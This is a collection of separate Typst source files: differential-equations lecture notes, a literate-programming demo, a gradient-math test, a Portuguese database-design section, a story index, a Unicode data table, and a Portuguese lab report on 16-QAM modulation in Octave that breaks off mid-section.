$ (y dot mu)' = q dot mu ==> y(x) = 1 / (mu(x)) ( integral^x q(t) mu(t) dif t + C), thick #text[where] mu(t) = exp(integral^t p(s) dif s). $
#ta.ex(
solution: [
Multiplying by $mu(x)$, we get
$mu y' + mu y / 2 = mu dot e^(x slash 3) / 2$.
If we assume $mu / 2 = mu'$, which is satisfied in case $mu = e^(x slash 2)$, the #ta.acr[lhs] becomes
$(mu y)'$.
Thus, we have
$ ( e^(x slash 2) y )' = e^(5x slash 6) / 2 ==> e^(x slash 2) y = 3 / 5 e^(5x slash 6) + c ==> y = 3 / 5 e^(x slash 3) + c e^( - x slash 2). $
To find the particular solution, we proceed as follows
$ y(0) = 3 / 5 + c ==> c = - 8 / 5. $
]
)[
Solve the following equation $y' + y / 2 = e^(x slash 3) / 2$; $y(0) = -1$.
]
== Variation of Parameters
Let $y = f(x,c)$, where $c in RR$, be the solutions for the (separable) equation
$ y' + p(x)y = 0. $
Then all the solutions for the equation
$ y' + p(x) y = q(x) $
have the form $y = f(x, xi(x))$, where $xi$ is a function of $x$.
#ta.ex(
solution: [
First, let's solve $x y' = 2 y$.
Separating the variables, we obtain
$ (dif y) / y = 2 / x dif x ==> log abs(y) = 2 log abs(x) + c ==> y = C x^2. $
Now we search for the solution of the form $y = xi(x) x^2$ for the initial equation:
$ y' = 2x xi + xi' x^2 ==> 2 xi x^2 + xi' x^3 = 2 xi x^2 - 2 x^4 ==> xi' = -2x ==> xi = -x^2 + c. $
Thus, the solutions are
$ y(x) = (c - x^2) x^2. $
Note that they all pass through the point $x = y = 0$, and $y'(0) = 0$, so it's possible to switch between the branches at this point.
]
)[
Solve the equation $x y' = 2 y - 2x^4$.
]
== Linearisation by Switching the Variables
Sometimes an equation is not linear in $y(x)$, but becomes linear if $x$ is treated as a function of $y$.
#ta.ex(
solution: [
Rewriting the equation as
$ y = (2x + y^3) (dif y) / (dif x) ==> y dif x = (2x + y^3) dif y = 0 ==> (dif x) / (dif y) - 2 / y x = y^2 $
leads us to the linear equation $x' - 2 x slash y = y^2$, which can now be solved using one of the aforementioned methods.
]
)[
Solve the equation $y = (2x + y^3) y'$.
]
== Bernoulli Equation
Bernoulli's equations have the form
$ y' = a(x)y + b(x)y^alpha, quad alpha in.not {0,1}. $
If $alpha in {0,1}$, it is linear.
Note that if $alpha > 0$, $y equiv 0$ is a solution.
To find the rest, divide both parts by $y^alpha$ and use the substitution $z = y^(1-alpha)$ (then $z' = (1-alpha)y^(-alpha) y'$):
$ y^(-alpha) y' = a(x) y^(1-alpha) + b(x) ==> z' / (1 - alpha) = a(x) z + b(x), $
which is linear.
#ta.ex(
solution: [
With the substitution $z = y^(-2)$ (then $z' = -2 y' y^(-3)$) we get
$ x^2 y' y^(-3) + 2 x y^(-2) - 1 = 0 ==> ( x^2 z' ) / 2 + 2 x z - 1 = 0, $
which is linear (after having been divided by $x^2$).
]
)[
Solve the equation $x^2 y' + 2 x y - y^3 = 0$.
]
== Riccati Equation
Ricatti's equations are equations of the form
$ y' + q_0(x) + q_1(x) y + q_2(x) y^2 = 0. $
(It is a Bernoulli equation if $q_0 equiv 0$.)
In general this equation cannot be reduced to quadrature, #footnote[Quadrature --- integration.] however, if a particular
solution $y_1(x)$ is known, then the general solution can be found by the means of the $y(x) = y_1(x) + u(x)$ substitution.
Indeed, we obtain
$ y'_1 + u' + q_1 y_1 + q_1 u + q_2 y_1^2 + 2 q_2 u y_1 + q_2 u^2 = c ==> u' + ( q_1 + 2 q_2 y_1 ) u + q_2 u^2 = 0, $
which is a Bernoulli equation.
In general, whence to get particular solution, is a question equivalent to solving the original equation,
but sometimes it can be guessed with the method of undetermined coefficients:
considering the form of the $q_i$'s, we can attempt to find a solution $y_1$ of a similar form.
#ta.ex(
solution: [
Assuming that $y_1(x) = a x + b$ for some $a$ and $b$, we get
$ a + a^2 x^2 + 2 a b x + b^2 = x^2 - 2 x, $
and herefrom setting $a = -1$, $b = 1$ yields
$ u' + u^2 + 2u dot (1-x) = 0, $
which is a Bernoulli equation.
_(Note that this was a successful guess for $y_1$.)_
]
)[
Solve the following equation $y' + y^2 = x^2 - 2x$.
]
== Integrating Factor in General (from Last Time)
Suppose we want to transform an equation $M(x,y) dif x + N(x,y) dif y = 0$ into $dif F(x,y) = 0$ for some $F$.
If we manage to find such a function $mu$ that
$ (partial (mu M) ) / (partial y) = (partial (mu N) ) / (partial x), $
then the #ta.acr[lhs] of the equation $mu M dif x + mu N dif y = 0$ is an exact differential (i.e.~equals to some $dif F$).
#ta.enum_l[
Suppose an equation has the form $dif phi(x,y) + M_1(x,y) dif x + N_1(x,y) dif y = 0$.
If there exists an integrating factor $mu(z)$, where $z = phi(x,y)$, for the equation $M_1(x,y) dif x + N_1(x,y) dif y = 0$,
then $mu$ is also an integrating factor for the initial equation.
Indeed, multiplying the original equation by $mu$, we get
$ mu (phi) dif phi + mu M_1 dif x + mu N_1 dif y = 0 ==> dif ( cal(M) compose phi) + dif F_1 = 0, $ <eqexactdif2>
where $partial F_1 slash partial x = M_1$, $partial F_1 slash partial y = N_1$, $cal(M)' = mu$.
In this case the solutions have the form $mu compose phi + F_1 = c$.
Now we can find $F_1$ using the method from the last time.
For example, consider the equation
$ (x y + y^4 ) dif x + (x^2 - x y^2) dif y = 0. $
First, assume that we are solving the equation outside of the points $x = 0$ or $y = 0$.
Collecting together same-power terms, we get
$ x(y dif x + x dif y) + y^3 (y dif x - x dif y) = 0 thick --> thick dif (x y) + y^3 / x (y dif x - x dif y) = 0. $ <eq10>
Using the general method,
we find that $mu = 1 slash z^2 = 1 slash (x^2 y^2)$ is an integrating factor for the equation $y^3 / x (y dif x - x dif y) = 0$,
and to find $F_1$ from @eqexactdif2, we proceed as follows:
$ ( partial F_1 ) / ( partial x ) = y^2 / x^3 ==> F_1 = - 1 / 2 y^2 / x^3 + c(y) ==>
-y / x^2 = ( partial F_1 ) / ( partial y ) = - y / x^2 + c'(y) ==> c(y) = c in RR. $
Thus, the original equation is equivalent ($x eq.not 0$, $y eq.not 0$) to
$ dif ( - 1 / (x y) ) + dif ( - y / x^2 + c ) = 0 ==> dif (- 1 / (x y) + - y / x^2 ) = 0 #text[ and thus ] (x + y^2) / (x^2 y) = C $
are solutions.
Note that the original equation also had the solutions $y equiv 0$ and $x equiv 0$.
][
Sometimes, if we can find an exact differential of some function $phi(x,y)$ (or two functions $phi$ and~$psi$),
we can perform a change of variables $(x,y) -> (x,z)$ or $(x,y) -> (y,z)$, where $z = phi(x,y)$; or
$(x,y) -> (u,v)$, where $u = phi(x,y)$, $v = psi(x,y)$.
For example, consider @eq10.
Since $y dif x - x dif y = y^2 dif (x slash y)$, the equation can be written as
$ dif (x y) + y^5 / x dif ( x / y ) = 0 ==> dif u + ( u^2 ) / ( v^3 ) dif v = 0, $
where $u = x y$, $v = x slash y$.
The variables in this equation are one step away from being separated.
]
|
|
https://github.com/denkspuren/typst_programming | https://raw.githubusercontent.com/denkspuren/typst_programming/main/LiterateProgramming/showcase.typ | typst | = Towards literate programming
This gets me closer to explanatory and literate programming: Show the code and demonstrate its effect (or vice versa) when executed.
== First Solution: Work with strings
This solution requires to embed a solution into a string like this:
#let pythagoras = "
$ a^2 + b^2 = c^2 $
"
```typst
#let pythagoras = "
$ a^2 + b^2 = c^2 $
"
```
You might just show the markup using `eval`
```typst
#eval("\`\`\`typst " + pythagoras + " \`\`\`", mode: "markup")
```
having this effect
#eval("```typst " + pythagoras + " ```", mode: "markup")
To render the markup just write
```typst
#eval(pythagoras, mode: "markup")
```
having this effect
#eval(pythagoras, mode: "markup")
== Second Solution: Work with code blocks and labels
A more advanced solution is to embed the code in a code block and attach a label to it. The basic idea is to locate the label, get the code block, extract field `text` and render it as markup with `eval`.
#let renderLabel(label) = {
locate(loc => {
let res = query(label, loc)
return eval(res.first().text, mode: "markup")
}
)
}
```typst
#let renderLabel(label) = {
locate(loc => {
let res = query(label, loc)
return eval(res.first().text, mode: "markup")
}
)
}
```
`query()` always returns an array and `locate` always returns content.
== Example: Rendering first, markup second
Mathematical formulas can be beautifully typeset with Typst. Here is Pythagoras' theorem as an example.
#renderLabel(<pythagoras_theorem>)
The required markup to typeset Pythagoras' theorem looks like follows:
```typst
$ a^2 + b^2 = c^2 $
```<pythagoras_theorem>
== Example: Markup first, rendering second
The following markup
```typst
$ f(x) = x^2 $
```<fx_x2>
renders as
#renderLabel(<fx_x2>)
|
|
https://github.com/Myriad-Dreamin/typst.ts | https://raw.githubusercontent.com/Myriad-Dreamin/typst.ts/main/fuzzers/corpora/visualize/gradient-math_06.typ | typst | Apache License 2.0 |
#import "/contrib/templates/std-tests/preset.typ": *
#show: test-page
// Test miscelaneous
#show math.equation: set text(fill: gradient.linear(..color.map.rainbow))
#show math.equation: box
$ hat(x) = bar x bar = vec(x, y, z) = tilde(x) = dot(x) $
$ x prime = vec(1, 2, delim: "[") $
$ sum_(i in NN) 1 + i $
$ attach(
Pi, t: alpha, b: beta,
tl: 1, tr: 2+3, bl: 4+5, br: 6,
) $
|
https://github.com/pedrofp4444/BD | https://raw.githubusercontent.com/pedrofp4444/BD/main/report/content/[3] Modelação Concetual/entidades.typ | typst | #let entidades = {
[
== Identificação e Caracterização das Entidades
Tendo em conta os requisitos recolhidos, foi possível identificar as entidades *Funcionário*, *Função*, *Terreno* e *Caso*.
#figure(
caption: "Caracterização das entidades.",
kind: table,
table(
columns: (0.8fr, 1.5fr, 0.8fr, 1fr),
stroke: (thickness: 0.5pt),
align: horizon,
fill: (x, y) => if y == 0 { gray.lighten(50%) },
table.header([*Designação*], [*Descrição*], [*Sinónimos*], [*Ocorrências*]),
/* Entidade */ [Funcionário],
[Entidade que representa os diferentes trabalhadores da Lusium.],
[Trabalhador],
[Um funcionário desempenha 1 função, gere 1 ou mais funcionários e trabalha em 1 ou mais terrenos.],
/* Entidade */ [Função],
[Entidade que define a função que os trabalhadores da Lusium desempenham.],
[Cargo],
[Um função é desempenhada por 1 ou mais funcionários.],
/* Entidade */ [Terreno],
[Entidade que representa o local de onde são extraídos os minérios nunium e edium.],
[Campo],
[Um terreno contém 1 ou mais casos e trabalham neste 1 ou mais funcionários.],
/* Entidade */ [Caso],
[Entidade que representa um possível furto de minérios, num dado terreno de extração,em investigação.],
[Furto/Roubo],
[Um caso está associado a 1 terreno e contém 1 ou mais funcionários.],
)
)
Definidas as entidades, é importante passar à enumeração e descrição dos atributos únicos que caracterizam cada uma delas, tendo sempre por base os respetivos requisitos.
#underline[*Funcionário*] \
Com base nos requisitos 1 e 2 (#link(<Tabela1>, "Tabela 1")), um funcionário é identificado pelo seu *ID* e caracterizado com base no seu *nome*, *data de nascimento*, *salário*, *número de identificação fiscal*, *fotografia* (não obrigatória) e *números de telemóvel*, podendo também apresentar apenas um.
#underline[*Função*] \
Segundo o requisito 3 (#link(<Tabela1>, "Tabela 1")), uma função é identificada pelo seu *ID* e caracterizada por uma designação que pode tomar os valores de *Operacional*, *Detetive* ou *Representante*.
#underline[*Terreno*] \
Partindo dos requisitos 6, 7 e 8 (#link(<Tabela1>, "Tabela 1")), um terreno é identificado pelo seu *ID* e caracterizado pelo *minério previsto*, que corresponde à quantidade mínima estimada de minério a coletar por dia, e pelo *minério coletado*, que corresponde à quantidade de minério efetivamente coletado por dia.
#underline[*Caso*] \
Tendo por base os requisitos 10, 11, 13 e 14 (#link(<Tabela1>, "Tabela 1")), um caso é identificado pelo seu *ID* e definido pelo seu *estado* (aberto ou fechado), *data de abertura* do caso, *data de encerramento* do caso, se porventura estiver fechado, e *estimativa de roubo*, que corresponde à quantidade estimada de minério roubado. Um caso é aberto quando a quantidade de minério mínimo previsto num terreno, num dado dia, é superior à quantidade de minério coletado, cuja diferença origina o valor da estimativa de roubo.
]
} |
|
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/006_Magic%202014.typ | typst | #import "@local/mtgset:0.1.0": conf
#show: doc => conf("Magic 2014", doc)
#include "./006 - Magic 2014/001_Prisoner of the Skep; or, How I Encountered the Slivers—and Lived to Tell the Tale!.typ"
#include "./006 - Magic 2014/002_The Armor in the Crypt.typ"
#include "./006 - Magic 2014/003_The Path of Bravery.typ"
#include "./006 - Magic 2014/004_Pride Cometh.typ"
#include "./006 - Magic 2014/005_A Blessed Life.typ"
#include "./006 - Magic 2014/006_Zurbit's Day.typ"
|
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/ucd/block-11C70.typ | typst | Apache License 2.0 | #let data = (
("MARCHEN HEAD MARK", "Po", 0),
("MARCHEN MARK SHAD", "Po", 0),
("MARCHEN LETTER KA", "Lo", 0),
("MARCHEN LETTER KHA", "Lo", 0),
("MARCHEN LETTER GA", "Lo", 0),
("MARCHEN LETTER NGA", "Lo", 0),
("MARCHEN LETTER CA", "Lo", 0),
("MARCHEN LETTER CHA", "Lo", 0),
("MARCHEN LETTER JA", "Lo", 0),
("MARCHEN LETTER NYA", "Lo", 0),
("MARCHEN LETTER TA", "Lo", 0),
("MARCHEN LETTER THA", "Lo", 0),
("MARCHEN LETTER DA", "Lo", 0),
("MARCHEN LETTER NA", "Lo", 0),
("MARCHEN LETTER PA", "Lo", 0),
("MARCHEN LETTER PHA", "Lo", 0),
("MARCHEN LETTER BA", "Lo", 0),
("MARCHEN LETTER MA", "Lo", 0),
("MARCHEN LETTER TSA", "Lo", 0),
("MARCHEN LETTER TSHA", "Lo", 0),
("MARCHEN LETTER DZA", "Lo", 0),
("MARCHEN LETTER WA", "Lo", 0),
("MARCHEN LETTER ZHA", "Lo", 0),
("MARCHEN LETTER ZA", "Lo", 0),
("MARCHEN LETTER -A", "Lo", 0),
("MARCHEN LETTER YA", "Lo", 0),
("MARCHEN LETTER RA", "Lo", 0),
("MARCHEN LETTER LA", "Lo", 0),
("MARCHEN LETTER SHA", "Lo", 0),
("MARCHEN LETTER SA", "Lo", 0),
("MARCHEN LETTER HA", "Lo", 0),
("MARCHEN LETTER A", "Lo", 0),
(),
(),
("MARCHEN SUBJOINED LETTER KA", "Mn", 0),
("MARCHEN SUBJOINED LETTER KHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER GA", "Mn", 0),
("MARCHEN SUBJOINED LETTER NGA", "Mn", 0),
("MARCHEN SUBJOINED LETTER CA", "Mn", 0),
("MARCHEN SUBJOINED LETTER CHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER JA", "Mn", 0),
("MARCHEN SUBJOINED LETTER NYA", "Mn", 0),
("MARCHEN SUBJOINED LETTER TA", "Mn", 0),
("MARCHEN SUBJOINED LETTER THA", "Mn", 0),
("MARCHEN SUBJOINED LETTER DA", "Mn", 0),
("MARCHEN SUBJOINED LETTER NA", "Mn", 0),
("MARCHEN SUBJOINED LETTER PA", "Mn", 0),
("MARCHEN SUBJOINED LETTER PHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER BA", "Mn", 0),
("MARCHEN SUBJOINED LETTER MA", "Mn", 0),
("MARCHEN SUBJOINED LETTER TSA", "Mn", 0),
("MARCHEN SUBJOINED LETTER TSHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER DZA", "Mn", 0),
("MARCHEN SUBJOINED LETTER WA", "Mn", 0),
("MARCHEN SUBJOINED LETTER ZHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER ZA", "Mn", 0),
(),
("MARCHEN SUBJOINED LETTER YA", "Mc", 0),
("MARCHEN SUBJOINED LETTER RA", "Mn", 0),
("MARCHEN SUBJOINED LETTER LA", "Mn", 0),
("MARCHEN SUBJOINED LETTER SHA", "Mn", 0),
("MARCHEN SUBJOINED LETTER SA", "Mn", 0),
("MARCHEN SUBJOINED LETTER HA", "Mn", 0),
("MARCHEN SUBJOINED LETTER A", "Mn", 0),
("MARCHEN VOWEL SIGN AA", "Mn", 0),
("MARCHEN VOWEL SIGN I", "Mc", 0),
("MARCHEN VOWEL SIGN U", "Mn", 0),
("MARCHEN VOWEL SIGN E", "Mn", 0),
("MARCHEN VOWEL SIGN O", "Mc", 0),
("MARCHEN SIGN ANUSVARA", "Mn", 0),
("MARCHEN SIGN CANDRABINDU", "Mn", 0),
)
|
https://github.com/arthurcadore/eng-telecom-workbook | https://raw.githubusercontent.com/arthurcadore/eng-telecom-workbook/main/semester-7/COM_1/homework7/homework.typ | typst | MIT License | #import "@preview/klaro-ifsc-sj:0.1.0": report
#import "@preview/codelst:2.0.1": sourcecode
#show heading: set block(below: 1.5em)
#show par: set block(spacing: 1.5em)
#set text(font: "Arial", size: 12pt)
#set highlight(
fill: rgb("#c1c7c3"),
stroke: rgb("#6b6a6a"),
extent: 2pt,
radius: 0.2em,
)
#show: doc => report(
title: "Modulador 16-QAM",
subtitle: "Sistemas de Comunicação I",
authors: ("<NAME>",),
date: "29 de Julho de 2024",
doc,
)
= Introdução:
O objetivo deste relatório é realizar a transmissão e recepção de um sinal digital utilizando a modulação QAM (Quadrature Amplitude Modulation), o sinal será composto por um vetor de dados aleatórios com 1000 elementos, onde cada elemento obtido através dos dados aleatórios representa um diferente símbolo QAM. O sinal será modulado e transmitido, e posteriormente será recebido e demodulado, sendo possível comparar o sinal transmitido com o sinal recebido.
= Desenvolvimento e Resultados:
O desenvolvimento do relatório foi dividido em duas partes, na primeira parte foi realizado a transmissão e recepção do sinal QAM utilizando a modulação QAM com a representação do sinal em fase e quadratura, e na segunda parte foi realizado a transmissão e recepção do sinal QAM utilizando a modulação QAM com a representação complexa.
== Parte 1:
Para o desenvolvimento da primeira parte, foi estruturado um script em octave para realizar a transmissão e recepção do sinal QAM utilizando a modulação QAM com a representação do sinal em fase e quadratura.
=== Definindo parâmetros de execução:
A primeira etapa do desenvolvimento, é a definição das variáveis que serão utilizadas nos processos de modulação e demodulação do sinal QAM. Desta forma, defini os seguintes parâmetros:
#sourcecode[```matlab
%% Inicializando pacotes necessários:
clc; close all; clear all;
pkg load communications;
% Definindo o n° de símbolos QAM
M = 16;
% Definindo o fator de upsampling
n = 100;
% Definindo a taxa de bits de TX
Rb = 1e4;
% Definindo o período de bit
Tb = 1 / Rb;
% Definindo á frequência de amostragem
Fs = Rb * n;
% Definindo á Frequência de portadora
fc = Fs / 50;
% Definindo o Período de amostragem:
Ts = 1 / Fs;
% Definindo o SNR do sinal de transmissão:
SNR = 12;
% Definindo o filtro FIR passa-baixa para a recepção:
filtro_passa_baixa = fir1(100, fc/(Fs/2));
```]
Em seguida, foi estruturado também o vetor de dados que será utilizado para a modulação do sinal QAM, para isso, foi gerado um vetor de dados aleatórios com 1000 elementos.
#sourcecode[```matlab
% Criando o vetor de dados:
Vector_length = 1000;
info = randi([0 M-1], 1, Vector_length);
```]
=== Realizando a modulação QAM:
Uma vez com os parâmetros definidos e o vetor de dados gerado, o primeiro passo foi realizra a modulação do sinal QAM, onde o sinal foi modulado utilizando a função #highlight[qammod] do pacote de comunicações do octave. Em seguida, os dados gerados pela função de modulação QAM podem ser visualizados através de um diagrama de constelação, utilizando a função #highlight[scatterplot].
#sourcecode[```matlab
% Modulação QAM:
% Modulando o sinal em QAM:
info_mod = qammod(info, M);
% Fazendo o plot do sinal modulado:
scatterplot(info_mod);
title('Diagrama de constelação QAM do sinal');
xlim([-5 5]);
ylim([-5 5]);
info_r_real = real(info_mod);
info_i_imag = imag(info_mod);
% Criando o vetor de tempo com base no comprimento da informação:
t = [0:Ts:(length(info_r_real) * Tb - Ts)];
```]
Com base no diagrama de constelação gerado, é possível visualizar a representação dos símbolos QAM no plano complexo, onde cada símbolo é representado por um ponto no plano complexo, sendo a parte real do sinal representada no eixo x e a parte imaginária do sinal representada no eixo y:
#figure(
figure(
rect(image("./pictures/1.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Upsampling do sinal:
Em seguida, foi realizado o processo de upsampling do sinal, onde o sinal modulado foi expandido para a taxa de amostragem desejada. O objetivo desse processo é aumentar a taxa de amostragem do sinal, oque melhora a qualidade do sinal e facilita a filtragem do sinal.
Para isso, foi utilizado a função #highlight[upsample] do octave, que adiciona zeros entre as amostras. Em seguida, foi criado um filtro NRZ para realizar o upsample (valor positivo) do sinal, e o sinal foi filtrado utilizando a função #highlight[filter].
#sourcecode[```matlab
% Criando um filtro NRZ para realizar o upsample do sinal:
filtro_NRZ = ones(1, n);
info_r_real_up = upsample(info_r_real, n); % Upsampling
info_r_real_tx = filter(filtro_NRZ, 1, info_r_real_up); % Filtragem
% Realizando o plot no dominio do tempo:
figure;
subplot(221);
plot(t(1:length(info_r_real_tx)), info_r_real_tx, 'LineWidth', 2, 'Color', 'k');
title('Sinal de Informação (Componente Real)');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
info_i_imag_up = upsample(info_i_imag, n); % Upsampling
info_i_imag_tx = filter(filtro_NRZ, 1, info_i_imag_up); % Filtragem
subplot(222);
plot(t(1:length(info_i_imag_tx)), info_i_imag_tx, 'LineWidth', 2, 'Color', 'r');
title('Sinal de Informação (Componente Imaginário)');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
```]
=== Modulando o sinal para transmissão:
Em seguida, o sinal foi modulado para a transmissão, onde foi criado um sinal portadora cosseno e um sinal portadora seno, e o sinal de informação foi multiplicado por essas portadoras para realizar a modulação do sinal.
#sourcecode[```matlab
% Modulando para transmissão:
% Criando portadora Cosseno:
cos_carrier = cos(2 * pi * fc * t(1:length(info_r_real_tx)));
info_real_tx = info_r_real_tx .* cos_carrier;
% Criando portadora Seno:
sen_carrier = -sin(2 * pi * fc * t(1:length(info_i_imag_tx)));
info_imag_tx = info_i_imag_tx .* sen_carrier;
subplot(223);
plot(t(1:length(info_real_tx)), info_real_tx, 'LineWidth', 2, 'Color', 'k');
title('Componente Real - Dominio do Tempo');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
subplot(224);
plot(t(1:length(info_imag_tx)), info_imag_tx, 'LineWidth', 2, 'Color', 'r');
title('Componente Imaginária - Dominio do Tempo');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
```]
Desta forma, foi possível visualizar o sinal de informação antes da modulação, note que após a expansão das amostras, existem diversos zeros e uns contínuos, o que permite uma visualização "quadrada" do sinal.
Também podemos ver o sinal após a modulação, onde o sinal foi multiplicado pela portadora cosseno e seno, e o sinal de informação foi modulado para a transmissão.
#figure(
figure(
rect(image("./pictures/2.png")),
numbering: none,
caption: [Componentes do sinal de transmissão]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Criando o sinal de transmissão:
Uma vez com as componentes do sinal já moduladas, foi realizado a soma das componentes do sinal para obter o sinal de transmissão (Fase e Quadratura), oque resulta no sinal de transmissão QAM.
Em seguida, foi adicionado ruído ao sinal transmitido, utilizando a função #highlight[awgn] do octave, onde foi adicionado um ruído com a relação sinal ruído (SNR) de 12 dB. Foi utilizada a função #highlight[awgn] pois essa função adiciona ruído gaussiano branco ao sinal transmitido, oque a torna o mais próximo possível de um piso de ruído térmico.
O objetivo de adicionar ruído ao sinal transmitido é simular o ambiente de transmissão real, onde o sinal é afetado por ruídos e interferências, e assim, é possível avaliar a qualidade do sinal recebido.
#sourcecode[```matlab
% Criando o sinal de transmissão:
sinal_tx = info_real_tx + info_imag_tx;
figure;
subplot(211);
plot(t(1:length(sinal_tx)), sinal_tx, 'LineWidth', 2);
title('Sinal de Transmissão - Domínio do tempo');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
% Adicionando ruído ao sinal transmitido
sinal_recebido = awgn(sinal_tx, SNR);
subplot(212);
plot(t(1:length(sinal_recebido)), sinal_recebido, 'LineWidth', 2);
title('Sinal de Recepção - Domínio do tempo (com Ruído)');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
```]
Desta forma, foi possível visualizar o sinal de transmissão e o sinal recebido com ruído, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido.
#figure(
figure(
rect(image("./pictures/3.png")),
numbering: none,
caption: [Sinal de Transmissão (Sem e com ruído)]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Demodulando o sinal recebido:
Na recepção do sinal, o sinal recebido foi demodulado utilizando a representação do sinal em fase e quadratura, onde o sinal recebido foi multiplicado pela portadora cosseno e seno, retornando o sinal para a banda base.
#sourcecode[```matlab
% Demodulação do sinal de recepção:
% Ajuste do vetor de tempo:
t_rx = [0:Ts:(length(sinal_recebido) - 1) * Ts];
% Demodulando o sinal em fase e quadratura:
info_real_rx = sinal_recebido .* cos(2 * pi * fc * t_rx);
info_imag_rx = sinal_recebido .* (-sin(2 * pi * fc * t_rx));
figure;
subplot(221);
plot(t_rx(1:length(info_real_rx)), info_real_rx, 'LineWidth', 2, 'Color', 'k');
title('Componente Real - Demodulada');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
subplot(222);
plot(t_rx(1:length(info_imag_rx)), info_imag_rx, 'LineWidth', 2, 'Color', 'r');
title('Componente Imaginária - Demodulada');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
```]
=== Filtrando o sinal demodulado:
Com o sinal já demodulado, foi filtrado utilizando um filtro passa-baixa para recuperar o sinal original, e o sinal foi filtrado utilizando a função #highlight[filter] do octave com base nos parâmetros definidos anteriormente.
#sourcecode[```matlab
% Filtrando o sinal demodulado:
% Filtrando o sinal recebido em fase e quadratura:
info_real_rx_filtered = filter(filtro_passa_baixa, 1, info_real_rx);
info_imag_rx_filtered = filter(filtro_passa_baixa, 1, info_imag_rx);
subplot(223);
plot(t_rx(1:length(info_real_rx_filtered)), info_real_rx_filtered, 'LineWidth', 2, 'Color', 'k');
title('Componente Real - Filtrada');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
subplot(224);
plot(t_rx(1:length(info_imag_rx_filtered)), info_imag_rx_filtered, 'LineWidth', 2, 'Color', 'r');
title('Componente Imaginária - Filtrada');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
```]
Desta forma, foi possível visualizar as componentes do sinal demoduladas, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido:
#figure(
figure(
rect(image("./pictures/4.png")),
numbering: none,
caption: [Componentes do sinal Demoduladas e Filtradas]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Realizando o downsampling do sinal:
Uma vez com o sinal filtrado, podemos realizar o downsampling do sinal para retornar a taxa de amostragem original, onde o sinal foi decimado para a taxa de amostragem original, e o excesso de amostras foi removido.
#sourcecode[```matlab
% Realizando o downsampling do sinal:
% Remover o excesso de amostras:
info_real_rx_down = downsample(info_real_rx_filtered, n);
info_imag_rx_down = downsample(info_imag_rx_filtered, n);
info_real_rx_down = info_real_rx_down(ceil(n/2):end);
info_imag_rx_down = info_imag_rx_down(ceil(n/2):end);
% Reconstruindo o sinal QAM transmitido:
info_rx = info_real_rx_down + 1i * info_imag_rx_down;
figure;
subplot(211);
plot(t(1:length(info_real_tx)), info_real_tx, 'LineWidth', 2, 'Color', 'b');
hold on;
plot(t_rx(1:length(info_real_rx_filtered)), info_real_rx_filtered, 'LineWidth', 2);
title('Componente Real do Sinal Recebido');
xlabel('Tempo (s)');
ylabel('Amplitude');
legend('Transmitida', 'Recebida (Após Filtragem)');
xlim([0 10 * Tb]);
ylim([-5 5]);
subplot(212);
plot(t(1:length(info_imag_tx)), info_imag_tx, 'LineWidth', 2, 'Color', 'b');
hold on;
plot(t_rx(1:length(info_imag_rx_filtered)), info_imag_rx_filtered, 'LineWidth', 2);
title('Componente Imaginária do Sinal Recebido');
xlabel('Tempo (s)');
ylabel('Amplitude');
legend('Transmitida', 'Recebida (após Filtragem)');
xlim([0 10 * Tb]);
ylim([-5 5]);
```]
Desta forma, foi possível visualizar a comparação entre as componentes do sinal transmitido e do sinal recebido, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido:
#figure(
figure(
rect(image("./pictures/5.png")),
numbering: none,
caption: [Comparando sinal de TX com sinaL de RX]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Plotando o sinal QAM Transmitido e Recebido:
Com os sinais antes da transmissão e após a recepção, é possivel reconstruir o sinal QAM transmitido e verificar o sinal QAM recebido.
Assim, podemos plotar os diagramas de constelação dos sinais transmitidos e recebidos e realizar um comparativo entre ambos.
#sourcecode[```matlab
scatterplot(info_mod);
title('Diagrama de Constelação - Sinal TX');
xlim([-5 5]);
ylim([-5 5]);
scatterplot(info_rx);
title('Diagrama de Constelação - Sinal RX');
xlim([-5 5]);
ylim([-5 5]);
```]
Abaixo está o diagrama 16-QAM antes da transmissão, note que os pontos estão bem definidos e separados, oque indica que o sinal está bem modulado.
#figure(
figure(
rect(image("./pictures/6.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Transmitido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
Abaixo está o diagrama 16-QAM após a recepção, note que os pontos estão mais próximos e dispersos, oque indica que o sinal foi afetado pelo ruído e interferências, e a qualidade do sinal foi reduzida.
#figure(
figure(
rect(image("./pictures/7.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
== Parte 2:
Para o desenvolvimento da segunda parte, foi estruturado um script em octave para realizar a transmissão e recepção do sinal QAM utilizando a modulação QAM com a representação complexa.
=== Definindo parâmetros de execução:
